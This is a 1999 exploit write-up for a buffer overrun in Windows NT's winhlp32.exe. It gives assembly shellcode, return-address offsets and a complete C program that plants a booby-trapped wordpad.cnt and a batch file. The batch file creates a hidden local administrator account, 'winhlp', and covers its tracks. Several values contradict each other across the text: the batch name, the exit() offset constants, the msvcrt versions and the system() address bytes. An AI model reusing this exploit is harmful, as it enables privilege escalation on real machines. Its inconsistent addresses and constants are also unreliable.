Analysis of the winhlp32.exe buffer overrun.

David Litchfield, 24th May 1999

The buffer overrun in winhlp32.exe occurs when it attempts to read a cnt file with an overly long heading string. If the string is longer than 507 bytes the buffer overrun does not occur - winhlp32 just truncates the entry. The return address is overwritten with bytes 357, 358, 359 and 360. Everything before these bytes is lost giving us bytes 361 to 507 to play with - a total of 147 bytes for our exploit code. On playing around with the overrun we find we lose about another 20 of these bytes giving us only 127 bytes to play with - not a lot really.

On overruning the buffer and analysing the contents of memory and the CPU's registers with a debugger we find that byte 361 is found at 0x0012F0E4. This is the address we need to get the processor to go to to get its next instruction - but this address has a NULL in it which totally messes things up. However, looking at the registers we can see that the ESP, the Stack Pointer holds this address so if we can find somewhere in memory that does a JMP ESP, and set the return address to this then we should be able to get back to the address where we'll place our exploit code. Looking at the DLLs that winhlp32.exe uses we find that kernel32.dll has the JMP ESP instruction at 0x77F327E5 (Service Pack 4's version of kernel32.lib - I think it's at 0x77F327D5 on Service Pack 3's kernel32.dll).

So we put 0x77F327E5 into bytes 357 to 360 but we have to load it in backwards so byte 357 we'll set to 0xE5, byte 358 to 0x27, byte 359 to 0xF3 and byte 360 to 0x77.

Now we've jumped back to our exploit code we have to decide what we wan to put in it. Because we only have 127 bytes to do anything meaningful we need to start another program - the best thing is to get it to run a batch file. This means calling the system ( ) function which is exported by msvcrt.dll which isn't loaded into the address space of winhlp32.exe - so we'll have to load it. How do we do this? We have to call LoadLibrary ( ) which is exported by kernel32.dll which is in the address space. LoadLibraryA ( ) is exported at address 0x77F1381A so all we need to do is have the string "msvcrt.dll" in memory somewhere and call 0x77F1381A with a reference to the pointer to the null terminated "msvcrt.dll" string. Because it has to be null terminated we'll get our code to write it into memory. Once this is done we'll place the address of LoadLibraryA ( ) onto the stack then place the address of the pointer to "msvcrt.dll" and finally call LoadLibraryA ( ) using an offset from the EBP. The following is the Assembly Code needed to do this:

```
/*First the procedure prologue */
push ebp
mov ebp,esp

/*Now we need some zeroes */
xor eax,eax

/* and then  push then onto the stack */
push eax
push eax
push eax

/* Now we write MSVCRT.DLL into the stack */
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
```

```
                        mov byte ptr[ebp-0Ah],56h
                        mov byte ptr[ebp-09h],43h
                        mov byte ptr[ebp-08h],52h
                        mov byte ptr[ebp-07h],54h
                        mov byte ptr[ebp-06h],2Eh
                        mov byte ptr[ebp-05h],44h
                        mov byte ptr[ebp-04h],4Ch
                        mov byte ptr[ebp-03h],4Ch

                        /* move the address of LoadLibraryA ( ) into the edx
register */
                        mov edx,0x77F1381A

                        /* and then push it onto the stack */
                        push edx

                        /* Then we load the address where the msvcrt.dll
string can be found */
                        lea eax,[ebp-0Ch]

                        /* and push it onto the stack */
                        push eax

                        /* Finally we call LoadLibraryA( )
                        call dword ptr[ebp-10h]
```

All things going well we should have now loaded msvcrt.dll into the address space of winhlp32.exe. With this in place we now need to call system() and provide the name of a batch file to it as an argument. We don't have enough bytes to play with to call GetProcessAddress ( ) and do the rest of the things we have to do like clean up so we check what version of msvcrt.dll we have before writing the code and see where system ( ) is exported at. On a standard install of Windows NT this will normally be version 4.20.6201 with system () exported at 0x7801E1E1. We'll call the batch file ADD.bat but to save room we won't give it an extention. The system ( ) function will try the default executable extentions like.exe, .com and .bat and find it for us then run it. Once it has run it the cmd.exe process system( ) has launched will exit.

So we need to have the null terminated string "ADD" in memory and the address of system ( ). Below is the code that will write "ADD" onto the stack and then call system( )

```
                        /*First the procedure prologue */
                        push ebp
                        mov ebp,esp

                        /* We need some NULL and then push them onto the
stack */
                        xor edi,edi
                        push edi

                        /* Now we write ADD onto the stack */
                        mov byte ptr [ebp-04h],41h
                        mov byte ptr [ebp-03h],44h
                        mov byte ptr [ebp-02h],44h

                        /* Place address of system ( ) into eax and push it
onto the stack */
                        mov eax, 0x7801E1E1
                        push eax
                        /* Now load eax with address of ADD and push this
too */
                        lea eax,[ebp-04h]
                        push eax

                        / * Then we call system ( ) */
                        call dword ptr [ebp-08h]
```

Once the batch file has been run the Command Interpreter will exit and if we don't clean up after ourselves winhlp32.exe will access violate so we need to call exit (0) to keep it quiet. exit ( ) is also exported by msvcrt.dll at address 0x78005BBA - which has a null in it. It's not a major problem - we can fill a register with 0xFFFFFFFF and subtract 0x87FFA445 from it. The following code calls exit (0)

```
                        /* Procedure prologue */
                        push ebp
                        mov ebp,esp

                        /* Round about way of getting address of exit ()
into edx */
                        mov edx,0xFFFFFFFF
                        sub edx,0x87FFAF65

                        /* Push this address onto the stack */
                        push edx

                        /* Get some nulls - this is our exit code - and push
them too */
                        xor eax,eax
                        push eax

                        /* then call exit()! */
                        call dword ptr[ebp-04h]
```

Altogether our code looks like this:

```
                        push ebp
                        mov ebp,esp
                        xor eax,eax
                        push eax
                        push eax
                        push eax
                        mov byte ptr[ebp-0Ch],4Dh
                        mov byte ptr[ebp-0Bh],53h
                        mov byte ptr[ebp-0Ah],56h
                        mov byte ptr[ebp-09h],43h
                        mov byte ptr[ebp-08h],52h
                        mov byte ptr[ebp-07h],54h
                        mov byte ptr[ebp-06h],2Eh
                        mov byte ptr[ebp-05h],44h
                        mov byte ptr[ebp-04h],4Ch
                        mov byte ptr[ebp-03h],4Ch
                        mov edx,0x77F1381A
                        push edx
                        lea eax,[ebp-0Ch]
                        push eax
                        call dword ptr[ebp-10h]
```

```
                                    push ebp
                                    mov ebp,esp
                                    xor edi,edi
                                    push edi
                                    mov byte ptr [ebp-04h],43h
                                    mov byte ptr [ebp-03h],4Dh
                                    mov byte ptr [ebp-02h],44h
                                    mov eax, 0x7801E1E1
                                    push eax
                                    lea eax,[ebp-04h]
                                    push eax
                                    call dword ptr [ebp-08h]
                                    push ebp
                                    mov ebp,esp
                                    mov edx,0xFFFFFFFF
                                    sub edx,0x87FFA445
                                    push edx
                                    xor eax,eax
                                    push eax
                                    call dword ptr[ebp-04h]
```

Now we need the operayion codes (opcodes) for all this which we do by writing a program that uses the __asm function and then debug it. This is what we actually load into our exploit code.

Here's the source of a program that will create a "trojaned" wordpad.cnt. It will also create a batch file called add.bat - edit it as you see fit. I have compiled the program - you can get a copy of it from

http://www.infowar.co.uk/mnemonix/winhlpadd.exe

Note that this will run only on standard installs of NT with service pack 4 and expects an msvcrt.dll version of 4.20.6201 - run it from the winnt\help directory. Cheers, David Litchfield

```
#include <stdio.h>
#include <windows.h>
#include <string.h>

int main(void)
{
        char eip[5]="\xE5\x27\xF3\x77";
        char
ExploitCode[200]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6
\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x5
4\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x1A\x
38\xF1\x77\x52\x8D\x45\xF4\x50\xFF\x55\xF0\x55\x8B\xEC\x33\xFF\x57\xC6\x45\
xFC\x41\xC6\x45\xFD\x44\xC6\x45\xFE\x44\xB8\xE1\xE1\xA0\x77\x50\x8D\x45\xFC
\x50\xFF\x55\xF8\x55\x8B\xEC\xBA\xBA\x5B\x9F\x77\x52\x33\xC0\x50\xFF\x55\xF
C";

        FILE *fd;
        printf("\n\n*******************************************************
\n");
        printf("* WINHLPADD exploits a buffer overrun in Winhlp32.exe
*\n");
```

```
        printf("*   This version runs on Service Pack 4 machines and
*\n");
        printf("*       assumes a msvcrt.dll version of 4.00.6201
*\n");
        printf("*
*\n");
        printf("* (C) David Litchfield (mnemonix@globalnet.co.uk) '99
*\n");
        printf("****************************************************\n\n
");

        fd = fopen("wordpad.cnt", "r");
        if (fd==NULL)
                {
                        printf("\n\nWordpad.cnt not found or insufficient
rights to access it.\nRun this from the WINNT\\HELP directory");
                        return 0;
                }
        fclose(fd);
        printf("\nMaking a copy of real wordpad.cnt - wordpad.sav\n");
        system("copy wordpad.cnt wordpad.sav");
        printf("\n\nCreating wordpad.cnt with exploit code...");
        fd = fopen("wordpad.cnt", "w+");
        if (fd==NULL)
                {
                        printf("Failed to open wordpad.cnt in write mode.
Check you have sufficent rights\n");
                        return 0;
                }
        fprintf(fd,"1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%s%s\n",eip,Exploit
Code);
        fprintf(fd,"2 Opening a document=WRIPAD_OPEN_DOC\n");
        fclose(fd);
        printf("\nCreating batch file add.bat\n\n");
        fd = fopen("add.bat", "w");
        if (fd == NULL)
                {
                        printf("Couldn't create batch file. Manually create
one instead");
                        return 0;
                }
        printf("The batch file will attempt to create a user account called
\"winhlp\" and\n");
        printf("with a password of \"winhlp!!\" and add it to the Local
Administrators group.\n");
        printf("Once this is done it will reset the files and delete
itself.\n");
        fprintf(fd,"net user winhlp winhlp!! /add\n");
        fprintf(fd,"net localgroup administrators winhlp /add\n");
        fprintf(fd,"del wordpad.cnt\ncopy wordpad.sav wordpad.cnt\n");
        fprintf(fd,"del wordpad.sav\n");
        fprintf(fd,"del add.bat\n");
        fclose(fd);
        printf("\nBatch file created.");
        printf("\n\nCreated. Now open up Wordpad and click on Help\n");
        return 0;

}
```